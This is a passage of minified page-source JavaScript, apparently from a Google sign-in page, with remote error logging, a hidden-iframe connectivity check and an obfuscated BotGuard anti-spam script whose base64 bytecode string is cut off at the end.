Gj.prototype.send = function (a) { var b = [], c; for (c in this.parameters) { var d = this.parameters[c]; b.push(c + "=" + encodeURIComponent(d)) } var b = b.join("&"), e = this.g, f = this.oncomplete; e.open("POST", a, !0); e.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); e.onreadystatechange = function () { 4 == e.readyState && f({ status: e.status, text: e.responseText }) }; e.send(b) };
Gj.prototype.get = function (a) { var b = this.oncomplete, c = this.g; c.open("GET", a, !0); c.onreadystatechange = function () { 4 == c.readyState && b({ status: c.status, text: c.responseText }) }; c.send() }; var Gl = function (a) { this.e = a; this.k = this.l(); if (null == this.e) throw new Gk("Empty module name"); }; G = Gl.prototype; G.l = function () { var a = window.location.pathname; return a && 0 == a.indexOf("/accounts") ? "/accounts/JsRemoteLog" : "/JsRemoteLog" };
G.n = function (a, b, c) { var d = this.k, e = this.e || "", d = d + "?module=" + encodeURIComponent(e); a = a || ""; d = d + "&type=" + encodeURIComponent(a); b = b || ""; d = d + "&msg=" + encodeURIComponent(b); c = c || []; for (a = 0; a < c.length; a++) d = d + "&arg=" + encodeURIComponent(c[a]); try { var f = Math.floor(1E4 * Math.random()), d = d + "&r=" + String(f) } catch (g) { } return d }; G.send = function (a, b, c) { var d = new Gj; d.parameters = {}; try { var e = this.n(a, b, c); d.get(e) } catch (f) { } }; G.error = function (a, b) { this.send("ERROR", a, b) }; G.warn = function (a, b) { this.send("WARN", a, b) };
G.info = function (a, b) { this.send("INFO", a, b) }; G.f = function (a) { var b = this; return function () { try { return a.apply(null, arguments) } catch (c) { throw b.error("Uncatched exception: " + c), c; } } }; var Gk = function () { }; var Gm = Gm || new Gl("uri"), Gn = RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"), Go = function (a) { return "http" == a.toLowerCase() ? 80 : "https" == a.toLowerCase() ? 443 : null }, Gp = function (a, b) {
var c = b.match(Gn)[1] || null, d, e = b.match(Gn)[3] || null; d = e && decodeURIComponent(e); e = Number(b.match(Gn)[4] || null) || null; if (!c || !d) return Gm.error("Invalid origin Exception", [String(b)]), !1; e || (e = Go(c)); var f = a.match(Gn)[1] || null; if (!f || f.toLowerCase() !=
c.toLowerCase()) return !1; c = (c = a.match(Gn)[3] || null) && decodeURIComponent(c); if (!c || c.toLowerCase() != d.toLowerCase()) return !1; (d = Number(a.match(Gn)[4] || null) || null) || (d = Go(f)); return e == d
}; var Gq = Gq || new Gl("check_connection"), Gr = null, Gs = null, Gt = null, Gu = function (a, b) { this.c = a; this.b = b; this.a = !1 }; G = Gu.prototype; G.h = function (a, b) { if (!b) return !1; if (0 <= a.indexOf(",")) return Gq.error("CheckConnection result contains comma", [a]), !1; var c = b.value; b.value = c ? c + "," + a : a; return !0 }; G.d = function (a) { return this.h(a, Gs) }; G.j = function (a) { return this.h(a, Gt) }; G.i = function (a) { a = a.match("^([^:]+):(\\d*):(\\d?)$"); return !a || 3 > a.length ? null : a[1] };
G.p = function (a, b) { if (!Gp(this.c, a)) return !1; if (this.a || !b) return !0; "accessible" == b ? (this.d(a), this.a = !0) : this.i(b) == this.b && (this.j(b) || this.d(a), this.a = !0); return !0 }; G.m = function () { var a; a = this.c; var b = "timestamp", c = String((new Date).getTime()); if (0 < a.indexOf("#")) throw Object("Unsupported URL Exception: " + a); return a = 0 <= a.indexOf("?") ? a + "&" + encodeURIComponent(b) + "=" + encodeURIComponent(c) : a + "?" + encodeURIComponent(b) + "=" + encodeURIComponent(c) };
G.o = function () { var a = window.document.createElement("iframe"), b = a.style; b.visibility = "hidden"; b.width = "1px"; b.height = "1px"; b.position = "absolute"; b.top = "-100px"; a.src = this.m(); a.id = this.b; Gr.appendChild(a) };
var Gv = function (a) { return function (b) { var c = b.origin.toLowerCase(); b = b.data; for (var d = a.length, e = 0; e < d && !a[e].p(c, b); e++); } }, Gw = function () {
if (window.postMessage) {
var a; a = window.__CHECK_CONNECTION_CONFIG.iframeParentElementId; var b = window.__CHECK_CONNECTION_CONFIG.connectivityElementId, c = window.__CHECK_CONNECTION_CONFIG.newResultElementId; (Gr = document.getElementById(a)) ? (b && (Gs = document.getElementById(b)), c && (Gt = document.getElementById(c)), Gs || Gt ? a = !0 : (Gq.error("Unable to locate the input element to storeCheckConnection result",
["old id: " + String(b), "new id: " + String(c)]), a = !1)) : (Gq.error("Unable to locate the iframe anchor to append connection test iframe", ["element id: " + a]), a = !1); if (a) {
a = window.__CHECK_CONNECTION_CONFIG.domainConfigs; if (!a) { if (!window.__CHECK_CONNECTION_CONFIG.iframeUri) { Gq.error("Missing iframe URL in old configuration"); return } a = [{ iframeUri: window.__CHECK_CONNECTION_CONFIG.iframeUri, domainSymbol: "youtube"}] } if (0 != a.length) {
for (var b = a.length, c = [], d = 0; d < b; d++) c.push(new Gu(a[d].iframeUri, a[d].domainSymbol));
Gh(window, "message", Gv(c)); for (d = 0; d < b; d++) c[d].o()
}
}
}
}, Gx = function () { if (window.__CHECK_CONNECTION_CONFIG) { var a = window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId; if (window.postMessage) { var b = document.getElementById(a); b ? b.value = "1" : Gq.error("Unable to locate the input element to storepostMessage test result", ["element id: " + a]) } } }; G_checkConnectionMain = Gq.f(Gw); G_setPostMessageSupportFlag = Gq.f(Gx);
</script><script>
window.__CHECK_CONNECTION_CONFIG = {
newResultElementId: 'checkConnection',
domainConfigs: [{ iframeUri: 'https://accounts.youtube.com/accounts/CheckConnection?pmpo\75https%3A%2F%2Faccounts..com\46v\75-881549138', domainSymbol: 'youtube'}],
iframeUri: '',
iframeOrigin: '',
connectivityElementId: 'dnConn',
iframeParentElementId: 'cc_iframe_parent',
postMsgSupportElementId: 'pstMsg',
msgContent: 'accessible'
};
G_setPostMessageSupportFlag();
G_checkConnectionMain();
</script><script type="text/javascript"> /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29tCg== */(function () { eval('var f,g=this,k=void 0,p=Array.prototype,q=function(a,b,c){return 2>=arguments.length?p.slice.call(a,b):p.slice.call(a,b,c)},s=function(a,b,c,d,e){c=a.split("."),d=g,c[0]in d||!d.execScript||d.execScript("var "+c[0]);for(;c.length&&(e=c.shift());)c.length||b===k?d=d[e]?d[e]:d[e]={}:d[e]=b},t=function(a,b,c){if(b=typeof a,"object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;if(c=Object.prototype.toString.call(a),"[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},v=(new function(){},function(a,b){a.n=("E:"+b.message+":"+b.stack).slice(0,2048)}),w=function(a,b){for(b=Array(a);a--;)b[a]=255*Math.random()|0;return b},x=function(a,b){return a[b]<<24|a[b+1]<<16|a[b+2]<<8|a[b+3]},A=function(a,b){a.K.push(a.c.slice()),a.c[a.b]=k,z(a,a.b,b)},B=function(a,b,c){return c=function(){return a},b=function(){return c()},b.V=function(b){a=b},b},D=function(a,b,c,d){return function(){if(!d||a.s)return z(a,a.N,arguments),z(a,a.k,c),C(a,b)}},E=function(a,b,c,d){for(c=[],d=b-1;0<=d;d--)c[b-1-d]=a>>8*d&255;return c},F=function(a,b,c,d){if(8192>a.length)return String.fromCharCode.apply(null,a);for(b="",c=0;c<a.length;c+=8192)d=q(a,c,c+8192),b+=String.fromCharCode.apply(null,d);return b},C=function(a,b,c,d){return c=a.a(a.b),a.e&&c<a.e.length?(z(a,a.b,a.e.length),A(a,b)):z(a,a.b,b),d=a.t(),z(a,a.b,c),d},H=function(a,b,c,d){for(b={},b.O=a.a(G(a)),b.P=G(a),c=G(a)-1,d=G(a),b.self=a.a(d),b.D=[];c--;)d=G(a),b.D.push(a.a(d));return b},I=function(a,b,c,d){try{for(d=0;84941944608!=d;)a+=(b<<4^b>>>5)+b^d+c[d&3],d+=2654435769,b+=(a<<4^a>>>5)+a^d+c[d>>>11&3];return[a>>>24,a>>16&255,a>>8&255,a&255,b>>>24,b>>16&255,b>>8&255,b&255]}catch(e){throw e;}},z=function(a,b,c){if(b==a.b||b==a.m)a.c[b]?a.c[b].V(c):a.c[b]=B(c);else if(b!=a.d&&b!=a.f&&b!=a.h||!a.c[b])a.c[b]=J(c,a.a);b==a.r&&(a.u=k,z(a,a.b,a.a(a.b)+4))},K=function(a,b,c,d,e){for(a=a.replace(/\\r\\n/g,"\\n"),b=[],d=c=0;d<a.length;d++)e=a.charCodeAt(d),128>e?b[c++]=e:(2048>e?b[c++]=e>>6|192:(b[c++]=e>>12|224,b[c++]=e>>6&63|128),b[c++]=e&63|128);return b},L=function(a,b){return b<=a.aa?b==a.h||b==a.d||b==a.f||b==a.q?a.o:b==a.N||b==a.H||b==a.I||b==a.k?a.v:b==a.w?a.i:b==a.j||b==a.p?2:b==a.l?1:4:[1,2,4,a.o,a.v,a.i][b%a.ba]},G=function(a,b,c){if(b=a.a(a.b),!(b in a.e))throw a.g(a.Y),a.A;return a.u==k&&(a.u=x(a.e,b-4),a.C=k),a.C!=b>>3&&(a.C=b>>3,c=[0,0,0,a.a(a.r)],a.Z=I(a.u,a.C,c)),z(a,a.b,b+1),a.e[b]^a.Z[b%8]},J=function(a,b,c,d,e,h,l,n,m){return n=M,e=M.prototype,h=e.t,l=e.Q,m=e.g,d=function(){return c()},c=function(a,r,u){for(u=0,a=d[e.F],r=a===b,a=a&&a[e.F];a&&a!=h&&a!=l&&a!=n&&a!=m&&20>u;)u++,a=a[e.F];return c[e.ga+r+!(!a+(u>>2))]},d[e.J]=e,c[e.fa]=a,a=k,d},N=function(a,b,c,d,e,h){for(e=a.a(b),b=b==a.f?function(b,c,d,h){if(c=e.length,d=c-4>>3,e.da!=d){e.da=d,d=(d<<3)-4,h=[0,0,0,a.a(a.G)];try{e.ca=I(x(e,d),x(e,d+4),h)}catch(r){throw r;}}e.push(e.ca[c&7]^b)}:function(a){e.push(a)},d&&b(d&255),h=0,d=c.length;h<d;h++)b(c[h])},M=function(a,b,c,d,e,h){try{if(this.c=[],z(this,this.b,0),z(this,this.m,0),z(this,this.r,0),z(this,this.h,[]),z(this,this.d,[]),z(this,this.H,"object"==typeof window?window:g),z(this,this.I,this),z(this,this.l,0),z(this,this.p,0),z(this,this.G,0),z(this,this.f,w(4)),z(this,this.q,[]),z(this,this.k,{}),z(this,this.j,2048),this.s=true,a&&"!"==a[0])this.n=a;else{if(window.atob){for(c=window.atob(a),a=[],e=d=0;e<c.length;e++){for(h=c.charCodeAt(e);255<h;)a[d++]=h&255,h>>=8;a[d++]=h}b=a}else b=null;(this.e=b)&&this.e.length?(this.K=[],this.t()):this.g(this.U)}}catch(l){v(this,l)}};f=M.prototype,f.b=0,f.r=1,f.h=2,f.m=3,f.d=4,f.w=5,f.N=6,f.j=7,f.L=8,f.H=9,f.I=10,f.l=11,f.p=12,f.G=13,f.f=14,f.q=15,f.k=16,f.aa=17,f.R=15,f.$=12,f.S=10,f.T=42,f.ba=6,f.i=-1,f.o=-2,f.v=-3,f.U=17,f.W=21,f.B=22,f.ea=30,f.Y=31,f.X=33,f.A={},f.F="caller",f.J="toString",f.ga=34,f.fa=36,M.prototype.a=function(a,b){if(b=this.c[a],b===k)throw this.g(this.ea,0,a),this.A;return b()},M.prototype.ka=function(a,b,c,d){d=a[(b+2)%3],a[b]=a[b]-a[(b+1)%3]-d^(1==b?d<<c:d>>>c)},M.prototype.ja=function(a,b,c,d){if(3==a.length){for(c=0;3>c;c++)b[c]+=a[c];for(c=0,d=[13,8,13,12,16,5,3,10,15];9>c;c++)b[3](b,c%3,d[c])}},M.prototype.la=function(a,b){b.push(a[0]<<24|a[1]<<16|a[2]<<8|a[3]),b.push(a[4]<<24|a[5]<<16|a[6]<<8|a[7]),b.push(a[8]<<24|a[9]<<16|a[10]<<8|a[11])},M.prototype.g=function(a,b,c,d){d=this.a(this.m),a=[a,d>>8&255,d&255],c!=k&&a.push(c),0==this.a(this.h).length&&(this.c[this.h]=k,z(this,this.h,a)),c="",b&&(b.message&&(c+=b.message),b.stack&&(c+=":"+b.stack)),b=this.a(this.j),3<b&&(c=c.slice(0,b-3),b-=c.length+3,c=K(c),N(this,this.f,E(c.length,2).concat(c),this.$)),z(this,this.j,b)},f.M=[function(){},function(a,b,c,d,e){b=G(a),c=G(a),d=a.a(b),b=L(a,b),e=L(a,c),e==a.i||e==a.o?d=""+d:0<b&&(1==b?d&=255:2==b?d&=65535:4==b&&(d&=4294967295)),z(a,c,d)},function(a,b,c,d,e,h,l,n,m){if(b=G(a),c=L(a,b),0<c){for(d=0;c--;)d=d<<8|G(a);z(a,b,d)}else if(c!=a.v){if(d=G(a)<<8|G(a),c==a.i)if(c="",a.c[a.w]!=k)for(e=a.a(a.w);d--;)h=e[G(a)<<8|G(a)],c+=h;else{for(c=Array(d),e=0;e<d;e++)c[e]=G(a);for(d=c,c=[],h=e=0;e<d.length;)l=d[e++],128>l?c[h++]=String.fromCharCode(l):191<l&&224>l?(n=d[e++],c[h++]=String.fromCharCode((l&31)<<6|n&63)):(n=d[e++],m=d[e++],c[h++]=String.fromCharCode((l&15)<<12|(n&63)<<6|m&63));c=c.join("")}else for(c=Array(d),e=0;e<d;e++)c[e]=G(a);z(a,b,c)}},function(a){G(a)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),c=a.a(c),b=a.a(b),z(a,d,b[c])},function(a,b,c){b=G(a),c=G(a),b=a.a(b),z(a,c,t(b))},function(a,b,c,d,e){b=G(a),c=G(a),d=L(a,b),e=L(a,c),c!=a.h&&(d==a.i&&e==a.i?(a.c[c]==k&&z(a,c,""),z(a,c,a.a(c)+a.a(b))):e==a.o&&(0>d?(b=a.a(b),d==a.i&&(b=K(""+b)),c!=a.d&&c!=a.f&&c!=a.q||N(a,c,E(b.length,2)),N(a,c,b)):0<d&&N(a,c,E(a.a(b),d))))},function(a,b,c){b=G(a),c=G(a),z(a,c,function(a){return eval(a)}(a.a(b)))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)-a.a(b))},function(a,b){b=H(a),z(a,b.P,b.O.apply(b.self,b.D))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)%a.a(b))},function(a,b,c,d,e){b=G(a),c=a.a(G(a)),d=a.a(G(a)),e=a.a(G(a)),a.a(b).addEventListener(c,D(a,d,e,true),false)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)[a.a(c)]=a.a(d)},function(){},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)+a.a(b))},function(a,b,c){b=G(a),c=G(a),0!=a.a(b)&&z(a,a.b,a.a(c))},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)==a.a(c)&&z(a,d,a.a(d)+1)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)>a.a(c)&&z(a,d,a.a(d)+1)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)<<c)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)|a.a(c))},function(a,b){b=a.a(G(a)),A(a,b)},function(a,b,c,d){if(b=a.K.pop()){for(c=G(a);0<c;c--)d=G(a),b[d]=a.c[d];a.c=b}else z(a,a.b,a.e.length)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,(a.a(b)in a.a(c))+0)},function(a,b,c,d){b=G(a),c=a.a(G(a)),d=a.a(G(a)),z(a,b,D(a,c,d))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)*a.a(b))},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)>>c)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)||a.a(c))},function(a,b,c,d,e){b=H(a),c=b.D,d=b.self,e=b.O;switch(c.length){case 0:c=new d[e];break;case 1:c=new d[e](c[0]);break;case 2:c=new d[e](c[0],c[1]);break;case 3:c=new d[e](c[0],c[1],c[2]);break;case 4:c=new d[e](c[0],c[1],c[2],c[3]);break;default:a.g(a.B);return}z(a,b.P,c)},function(a,b,c,d,e,h){if(b=G(a),c=G(a),d=G(a),e=G(a),b=a.a(b),c=a.a(c),d=a.a(d),a=a.a(e),"object"==t(b)){for(h in e=[],b)e.push(h);b=e}for(e=0,h=b.length;e<h;e+=d)c(b.slice(e,e+d),a)}],M.prototype.ia=function(a){return(a=window.performance)&&a.now?function(){return a.now()|0}:function(){return+new Date}}(),M.prototype.ha=function(a,b){return b=this.Q(),a&&a(b),b},M.prototype.t=function(a,b,c,d,e,h){try{for(b=5001,c=k,d=0,a=this.e.length;--b&&(d=this.a(this.b))<a;)try{z(this,this.m,d),e=G(this)%this.M.length,(c=this.M[e])?c(this):this.g(this.W,0,e)}catch(l){l!=this.A&&((h=this.a(this.l))?(z(this,h,l),z(this,this.l,0)):this.g(this.B,l))}b||this.g(this.X)}catch(n){try{this.g(this.B,n)}catch(m){v(this,m)}}return this.a(this.k)},M.prototype.Q=function(a,b,c,d,e,h,l,n,m,y,r){if(this.n)return this.n;try{if(this.s=false,b=this.a(this.d).length,c=this.a(this.f).length,d=this.a(this.j),this.c[this.L]&&C(this,this.a(this.L)),e=this.a(this.h),0<e.length&&N(this,this.d,E(e.length,2).concat(e),this.R),h=this.a(this.p)&255,h-=this.a(this.d).length+4,l=this.a(this.f),4<l.length&&(h-=l.length+3),0<h&&N(this,this.d,E(h,2).concat(w(h)),this.S),4<l.length&&N(this,this.d,E(l.length,2).concat(l),this.T),n=[3].concat(this.a(this.d)),window.btoa?(y=window.btoa(F(n)),m=y=y.replace(/\\+/g,"-").replace(/\\//g,"_").replace(/=/g,"")):m=k,m)m="!"+m;else for(m="",e=0;e<n.length;e++)r=n[e][this.J](16),1==r.length&&(r="0"+r),m+=r;this.a(this.d).length=b,this.a(this.f).length=c,z(this,this.j,d),a=m,this.s=true}catch(u){v(this,u),a=this.n}return a};try{window.addEventListener("unload",function(){},false)}catch(O){}s("botguard.bg",M),s("botguard.bg.prototype.invoke",M.prototype.ha);') })()</script><script type="text/javascript">
document.bg = new botguard.bg('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